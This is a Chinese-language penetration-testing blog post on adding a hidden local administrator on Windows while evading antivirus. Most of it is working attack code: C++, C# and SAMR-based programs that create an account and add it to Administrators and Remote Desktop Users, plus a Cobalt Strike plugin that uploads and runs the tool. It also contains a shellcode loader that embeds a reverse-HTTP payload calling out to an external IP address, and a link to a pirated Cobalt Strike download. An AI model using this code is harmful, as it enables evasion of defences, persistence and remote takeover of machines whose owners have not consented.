免杀核晶adduser

渗透技巧 1年前 (2023) admin
640 0 0

起因:

免杀核晶adduser


在渗透测试过程中,有时会登录远程桌面等服务进行横向,但需要知道 Windows 账户口令 (不考虑 hash 传递场景),而直接通过net.exe进行添加用户,往往会被安全软件直接阻断拦截,这就需要调用 Windows API ,进行 Bypass AV。

免杀核晶adduser

C++

  1. 调用NetUserAdd添加本地用户

  2. 调用NetLocalGroupAddMembers将用户添加到组

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <Windows.h>

#ifndef UNICODE
#define UNICODE
#endif

#pragma comment(lib, "netapi32")


int main(int argc, char** argv)
{
if (argc != 3)
{
printf("Usage: AddUserBypass.exe <username> <password>n");
exit(1);
}

wchar_t Username[256];
wchar_t Password[256];
mbstowcs(Username, argv[1], 256);
mbstowcs(Password, argv[2], 256);

NET_API_STATUS nStatus;
USER_INFO_1 UserInfo;
DWORD dwLevel = 1;
DWORD dwError = 0;

UserInfo.usri1_name = Username;
UserInfo.usri1_password = Password;
UserInfo.usri1_priv = USER_PRIV_USER;
UserInfo.usri1_home_dir = NULL;
UserInfo.usri1_comment = NULL;
UserInfo.usri1_flags = UF_SCRIPT;
UserInfo.usri1_script_path = NULL;

nStatus = NetUserAdd(NULL, dwLevel, (LPBYTE)&UserInfo, &dwError);

if (nStatus == NERR_Success)
{
printf("[*] Add User Success!n");
}
else
{
printf("[*] Add User Failed! Error Code: %dn", nStatus);
}

LOCALGROUP_MEMBERS_INFO_3 LGMInfo;
LGMInfo.lgrmi3_domainandname = UserInfo.usri1_name;
nStatus = NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&LGMInfo, 1);

if (nStatus == NERR_Success)
{
printf("[*] Add User to Administrators Success!n");
}
else
{
printf("[*] Add User to Administrators Failed! Error Code: %dn", nStatus);
}

nStatus = NetLocalGroupAddMembers(NULL, L"Remote Desktop Users", 3, (LPBYTE)&LGMInfo, 1);

if (nStatus == NERR_Success)
{
printf("[*] Add User to Remote Desktop Users Success!n");
}
else
{
printf("[*] Add User to Remote Desktop Users Failed! Error Code: %dn", nStatus);
}

return 0;
}

C#

调用DirectoryServices添加本地用户,同时可以删除用户、添加用户组。

https://learn.microsoft.com/zh-cn/troubleshoot/developer/visualstudio/csharp/language-compilers/add-user-local-system

using System;
using System.DirectoryServices;

namespace sharpAddUser
{
  class Class1
  {
      static void Main(string[] args)
      {
          if (args.Length != 2)
          {
              Console.WriteLine("Usage: UserAdd.exe <username> <password>");
          }
          else
          {
              string username = args[0];
              string password = args[1];
             
              try
              {
                  DirectoryEntry AD = new DirectoryEntry("WinNT://" + Environment.MachineName + ",computer");
                  DirectoryEntry NewUser = AD.Children.Add(username, "user");
                  NewUser.Invoke("SetPassword", new object[] { password });
                  NewUser.CommitChanges();
                  DirectoryEntry grp;

                  grp = AD.Children.Find("Administrators", "group");
                  if (grp != null) { grp.Invoke("Add", new object[] { NewUser.Path.ToString() }); }
                  Console.WriteLine("[*] Account Created Successfully");
                  Console.WriteLine($"[+] Username: {username}n[+] Password: {password}");
              }
              catch (Exception ex)
              {
                  Console.WriteLine(ex.Message);
                  Console.ReadLine();
              }

          }
      }
  }
}

RPC调用

MS-SAMR协议中的SamrCreateUser2InDomain()来添加用户(其实调用MS-SAMR是NetUserAdd()等API的底层实现)

实现有两种方式,一种是直接调用MS-SAMR协议去直接创建一个用户,微软官方给了IDL,将其编译,然后构造,这种方式调用起来比较麻烦,另一种是使用神器mimikatz打包好的samlib.dll

#include <stdio.h>#include <Windows.h>#include "samlib.h"
#pragma comment(lib, "samlib.lib")#pragma comment(lib, "ntdll.lib")
void AddUser(wchar_t* uName, wchar_t* uPass){ DWORD* pRid; DWORD* pUse; DWORD USE = 0; ULONG grantAccess; ULONG relativeId; DWORD* adminRID; PSID userSID = NULL; NTSTATUS status = STATUS_INVALID_ACCOUNT_NAME, enumDomainStatus; DWORD i, domainEnumerationContext = 0, domainCountReturned; PSAMPR_RID_ENUMERATION pEnumDomainBuffer = NULL, pEnumGroupBuffer = NULL; PSID builtinDomainSid = 0, accountDomainSid = 0; SAMPR_HANDLE hServerHandle = NULL, hDomainHandle = NULL, hUserHandle = NULL; SAMPR_USER_ALL_INFORMATION userAllInfo = { 0 }; NTSTATUS enumGroupStatus; DWORD groupEnumerationContext = 0; DWORD groupCountReturned; UNICODE_STRING adminGroup; SAMPR_HANDLE hAdminGroup;
UNICODE_STRING userName; UNICODE_STRING password; UNICODE_STRING uBuiltin; UNICODE_STRING serverName;
// init server, username, password RtlInitUnicodeString(&uBuiltin, L"Builtin"); RtlInitUnicodeString(&userName, uName); RtlInitUnicodeString(&password, uPass); RtlInitUnicodeString(&serverName, L"localhost");

status = SamConnect(&serverName, &hServerHandle, SAM_SERVER_CONNECT | SAM_SERVER_ENUMERATE_DOMAINS | SAM_SERVER_LOOKUP_DOMAIN, FALSE);
if (NT_SUCCESS(status)) { do { enumDomainStatus = SamEnumerateDomainsInSamServer(hServerHandle, &domainEnumerationContext, &pEnumDomainBuffer, 1, &domainCountReturned); for (i = 0; i < domainCountReturned; i++) { // Get Builtin Domain SID & Account Domain SID if (RtlEqualUnicodeString(&pEnumDomainBuffer[i].Name, &uBuiltin, TRUE)) SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &builtinDomainSid); else SamLookupDomainInSamServer(hServerHandle, &pEnumDomainBuffer[i].Name, &accountDomainSid); }
} while (enumDomainStatus == STATUS_MORE_ENTRIES);
status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP | DOMAIN_CREATE_USER, accountDomainSid, &hDomainHandle); if (NT_SUCCESS(status)) { // Create user in Account Domain status = SamCreateUser2InDomain(hDomainHandle, &userName, USER_NORMAL_ACCOUNT, USER_ALL_ACCESS | DELETE | WRITE_DAC, &hUserHandle, &grantAccess, &relativeId); if (NT_SUCCESS(status)) { wprintf(L"[*] SamCreateUser2InDomain success. User RID: %dn", relativeId); userAllInfo.NtPasswordPresent = TRUE; userAllInfo.WhichFields |= USER_ALL_NTPASSWORDPRESENT;
// Clear the UF_ACCOUNTDISABLE to enable account userAllInfo.UserAccountControl &= 0xFFFFFFFE; userAllInfo.UserAccountControl |= USER_NORMAL_ACCOUNT; userAllInfo.WhichFields |= USER_ALL_USERACCOUNTCONTROL; RtlInitUnicodeString(&userAllInfo.NtOwfPassword, password.Buffer);
// Set password and userAccountControl status = SamSetInformationUser(hUserHandle, UserAllInformation, &userAllInfo); if (NT_SUCCESS(status)) { wprintf(L"[*] SamSetInformationUser success.n"); } else wprintf(L"[!] SamSetInformationUser error 0x%08Xn", status); } else wprintf(L"[!] SamCreateUser2InDomain error 0x%08Xn", status);
} else wprintf(L"[!] SamOpenDomain error. 0x%0X8n", status);
status = SamOpenDomain(hServerHandle, DOMAIN_LOOKUP, builtinDomainSid, &hDomainHandle); if (NT_SUCCESS(status)) { RtlInitUnicodeString(&adminGroup, L"administrators"); // Lookup Administrators in Builtin Domain status = SamLookupNamesInDomain(hDomainHandle, 1, &adminGroup, &adminRID, &USE); if (NT_SUCCESS(status)) {
status = SamOpenAlias(hDomainHandle, ALIAS_ADD_MEMBER, *adminRID, &hAdminGroup); if (NT_SUCCESS(status)) { SamRidToSid(hUserHandle, relativeId, &userSID);
// Add user to Administrators status = SamAddMemberToAlias(hAdminGroup, userSID); if (NT_SUCCESS(status)) { wprintf(L"[*] SamAddMemberToAlias success.n"); } else wprintf(L"[!] AddMemberToAlias error 0x%08Xn", status); } else wprintf(L"[!] SamOpenAlias error 0x%08Xn", status); } else wprintf(L"[!] SamLookupNamesInDomain error 0x%08Xn", status); } } else wprintf(L"[!] Samconnect errorn");
SamCloseHandle(hUserHandle); SamCloseHandle(hDomainHandle); SamCloseHandle(hServerHandle); SamFreeMemory(pEnumDomainBuffer); SamFreeMemory(pEnumGroupBuffer); }
int main(int argc, wchar_t* argv[]){ if (argc == 3) { AddUser(argv[1], argv[2]); } else wprintf(L"Usage: AddUserBypass_SAMR.exe <username> <password>");
return 0;}

But这种例子用的太多了,还是会被拦截。。。

So,最终版本,给出反编译,相信聪明的你该知道怎么做了(狗头):

免杀核晶adduser

CS插件编写:

https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_script.htm

https://wiki.wgpsec.org/knowledge/intranet/Aggressor-script.html

popup beacon_bottom{  item "NetUserAdd"{    $bid = $1['@'];    $Dialog = dialog("add admin user",%(username => "laoxinsec",password => "laoxinsec",bid => $bid),$add_user)    drow_text($Dialog,"username", "username: ");    drow_text($Dialog,"password", "password: ");    dbutton_action($Dialog, "run");    dialog_show($Dialog);  }  sub add_user{    $Name = $3['username'];    $passwd = $3['password'];    $cmd = "adduser.exe ".$Name." ".$passwd;    bupload($bid,script_resource("adduser.exe"));    bshell($bid,$cmd);  }}

简单的loader免杀上线测试插件:

#include <Windows.h>
unsigned char buf[] = "xfcx48x83xe4xf0xe8xc8x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x66x81x78x18x0bx02x75x72x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x4fxffxffxffx5dx6ax00x49xbex77x69x6ex69x6ex65x74x00x41x56x49x89xe6x4cx89xf1x41xbax4cx77x26x07xffxd5x48x31xc9x48x31xd2x4dx31xc0x4dx31xc9x41x50x41x50x41xbax3ax56x79xa7xffxd5xebx73x5ax48x89xc1x41xb8x50x00x00x00x4dx31xc9x41x51x41x51x6ax03x41x51x41xbax57x89x9fxc6xffxd5xebx59x5bx48x89xc1x48x31xd2x49x89xd8x4dx31xc9x52x68x00x02x40x84x52x52x41xbaxebx55x2ex3bxffxd5x48x89xc6x48x83xc3x50x6ax0ax5fx48x89xf1x48x89xdax49xc7xc0xffxffxffxffx4dx31xc9x52x52x41xbax2dx06x18x7bxffxd5x85xc0x0fx85x9dx01x00x00x48xffxcfx0fx84x8cx01x00x00xebxd3xe9xe4x01x00x00xe8xa2xffxffxffx2fx4bx71x6fx32x00x47x97x09xb7xd3x2cxa5x90xe1x2ex09xd8xe9x6dx51x3fxb6x19xaax2dx6ex7ex0ax44x11xcexb2x02x7dx65x6dx80x53xc8x24x11x84x40x18x11x32x22x0fxe2x6bxcax8ex2ax2cx97xd4x58xbdxc3xa6xd3x5dxccxa2x60x60x36x41x7dx62x3exd0xc6x92x45xcdx83x12x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x31x30x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex32x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx36x2ex30x3bx20x4dx41x54x42x4ax53x29x0dx0ax00x20x40x1fx95x2exf1x79xf5xe5xa7x7fxaex7bxf9x59x1fx60xbdx0ex99xddx02x8axb8xf0x1ax3dx5bxa8xeex16x18x57x50x24x95xf9x77xaexafxfex21x2ex85x3fx9axb6xe0xcexd4x72xadxe0x13x6fxcdx3cx5fx88x6ax8bxb6xccx4dx2cx33x60xf5xefx35xa9x87x40x76x4ax5dx7fx44x1exb1x98xe7x38x04x5bx60x0ex1ex1ex25x4dxdax22x40x15xc7x04x2fx4fx48x3dx16xcbx82xfbxbbxa2xcbx8dx98x6fx7ax82x96xe8x22x99xc7xe1x82xcdxc9x8cx9exd4xf5x18x92x83x0bx6ax16xb9x4bxe0x2fxc7x0fx1bx8cx29x97x27x19xafx59x3bx61xc9xcaxc5x07x4dx61x6ax01x5ex80x1bx2ax30x0axa0x8cxe5xd4x16x7ax56xcaxe0x17x74xf7xa9xc7xdexbcx42x6fxd4x4fx8ax25xacx4bx1ex7fxeaxedxe5x2bxe7x36xcex1cx32x35x3dx92xc1xcfx31x7bx57xefxdbxe5x9fx00x41xbexf0xb5xa2x56xffxd5x48x31xc9xbax00x00x40x00x41xb8x00x10x00x00x41xb9x40x00x00x00x41xbax58xa4x53xe5xffxd5x48x93x53x53x48x89xe7x48x89xf1x48x89xdax41xb8x00x20x00x00x49x89xf9x41xbax12x96x89xe2xffxd5x48x83xc4x20x85xc0x74xb6x66x8bx07x48x01xc3x85xc0x75xd7x58x58x58x48x05x00x00x00x00x50xc3xe8x9fxfdxffxffx34x37x2ex31x30x38x2ex31x33x37x2ex31x39x30x00x5ex2ex78x90";

void main() {
LPVOID mem = VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE); RtlMoveMemory(mem, buf, sizeof(buf)); EnumDesktopsA(GetProcessWindowStation(), (DESKTOPENUMPROCA)mem, NULL);}

配套视频:

https://www.bilibili.com/video/BV1Qh4y1p7wb/?spm_id_from=333.999.0.0&vd_source=d0c5cfc4008c14d0c490e16cf55f5b65

CS4.8下载地址:

https://anonfiles.com/gcxdW3k7za/CobaltStrike48_pwn3rzs_cyberarsenal_7z

原文始发于微信公众号(老鑫安全):免杀核晶adduser

版权声明:admin 发表于 2023年4月14日 下午1:59。
转载请注明:免杀核晶adduser | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...